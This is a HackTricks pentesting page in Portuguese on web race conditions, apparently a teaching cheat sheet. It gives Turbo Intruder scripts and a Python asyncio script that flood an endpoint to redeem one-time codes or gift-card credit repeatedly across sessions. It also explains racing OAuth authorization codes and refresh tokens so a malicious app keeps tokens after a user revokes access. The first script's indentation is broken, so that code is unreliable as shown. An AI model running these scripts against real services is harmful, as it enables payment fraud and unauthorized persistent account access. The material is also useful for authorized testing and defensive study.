hacktricks/pentesting-web/race-condition.md

# Condição de corrida

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* **Junte-se ao** [**💬**](https://emojipedia.org/speech-balloon/) [**grupo Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo telegram**](https://t.me/peass) ou **siga-me** no **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Compartilhe suas técnicas de hacking enviando PRs para o [repositório hacktricks](https://github.com/carlospolop/hacktricks) e [hacktricks-cloud repo](https://github.com/carlospolop/hacktricks-cloud)**.

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## Qualquer coisa limitada por um número de tentativas

Condições de corrida são **vulnerabilidades** que **aparecem** em sites que **limitam o número de vezes que você pode realizar uma ação**. Um exemplo muito fácil pode ser encontrado neste [**relatório**](https://medium.com/@pravinponnusamy/race-condition-vulnerability-found-in-bug-bounty-program-573260454c43).

## Usando várias vezes um código de uso único

Quando você faz a página da web executar alguma **ação** que **deve ser feita apenas uma vez**, mas se a ação for feita **várias vezes**, você será **beneficiado**, você realmente precisa tentar uma **condição de corrida**.\
Na maioria das vezes, isso está diretamente relacionado com **dinheiro** (se uma ação for realizada, você recebe X dinheiro, então vamos tentar fazê-la várias vezes muito rapidamente)**.**

### **Usando da mesma conta o mesmo código várias vezes**

Por exemplo, neste [**bug**](https://hackerone.com/reports/759247), o caçador foi capaz de **carregar o dinheiro dentro de um cartão-presente várias vezes**.

Este é o script **turbo intruder** usado para **testar** a **condição de corrida** do relatório mencionado:
```python
def queueRequests(target, wordlists):
    engine = RequestEngine(endpoint=target.endpoint,
                           concurrentConnections=30,
                           requestsPerConnection=30,
                           pipeline=False
                           )

   for i in range(30):
    engine.queue(target.req, i)
        engine.queue(target.req, target.baseInput, gate='race1')


    engine.start(timeout=5)
   engine.openGate('race1')

    engine.complete(timeout=60)


def handleResponse(req, interesting):
    table.add(req)
```
Usando também o BURP, você pode enviar a **requisição** para o **Intruder**, definir o **número de threads** para **30** dentro do menu **Opções** e selecionar como carga útil **Cargas úteis nulas** e gerar **30**.

### **Usando o mesmo código de contas diferentes**

**Se a proposta anterior não funcionar (tente usar o mesmo código várias vezes na mesma conta), você pode tentar uma variante: tente usar o mesmo código de contas diferentes:**
```python
def queueRequests(target, wordlists):
    engine = RequestEngine(endpoint=target.endpoint,
                           concurrentConnections=5,
                           requestsPerConnection=1,
                           pipeline=False
                           )
    a = ['Session=<session_id_1>','Session=<session_id_2>','Session=<session_id_3>']
    for i in range(len(a)):
        engine.queue(target.req,a[i], gate='race1')
    # open TCP connections and send partial requests
    engine.start(timeout=10)
    engine.openGate('race1')
    engine.complete(timeout=60)

def handleResponse(req, interesting):
    table.add(req)
```
### Usando Python
```python
import asyncio
import httpx

async def use_code(client):
    resp = await client.post(f'http://victim.com', cookies={"session": "asdasdasd"}, data={"code": "123123123"})
    return resp.text

async def main():
    async with httpx.AsyncClient() as client:
        tasks = []
        for _ in range(20): #20 times
            tasks.append(asyncio.ensure_future(use_code(client)))
        
        # Get responses
        results = await asyncio.gather(*tasks, return_exceptions=True)
        
        # Print results
        for r in results:
            print(r)
        
        # Async2sync sleep
        await asyncio.sleep(0.5)
    print(results)

asyncio.run(main())
```
## Persistência eterna do OAuth2

Existem vários [**provedores de OAuth**](https://en.wikipedia.org/wiki/List\_of\_OAuth\_providers). Esses serviços permitirão que você crie um aplicativo e autentique usuários registrados pelo provedor. Para fazer isso, o **cliente** precisará **permitir que seu aplicativo** acesse alguns de seus dados dentro do **provedor de OAuth**.\
Então, até aqui, apenas um login comum com google/linkdin/github... onde você é solicitado com uma página dizendo: "_O aplicativo \<InsertCoolName> deseja acessar suas informações, você deseja permitir?_"

#### Condição de corrida em `authorization_code`

O **problema** aparece quando você **aceita** e automaticamente envia um **`authorization_code`** para o aplicativo malicioso. Em seguida, este **aplicativo abusa de uma Condição de Corrida no provedor de serviços de OAuth para gerar mais de um AT/RT** (_Token de Autenticação/Token de Atualização_) a partir do **`authorization_code`** para sua conta. Basicamente, ele abusará do fato de você ter aceitado o aplicativo para acessar seus dados para **criar várias contas**. Então, se você **parar de permitir que o aplicativo acesse seus dados, um par de AT/RT será excluído, mas os outros ainda serão válidos**.

#### Condição de corrida em `Refresh Token`

Depois de **obter um RT válido**, você pode tentar **abusar dele para gerar vários AT/RT** e **mesmo se o usuário cancelar as permissões** para o aplicativo malicioso acessar seus dados, **vários RTs ainda serão válidos.**

## Referências

* [https://hackerone.com/reports/759247](https://hackerone.com/reports/759247)
* [https://pandaonair.com/2020/06/11/race-conditions-exploring-the-possibilities.html](https://pandaonair.com/2020/06/11/race-conditions-exploring-the-possibilities.html)
* [https://hackerone.com/reports/55140](https://hackerone.com/reports/55140)

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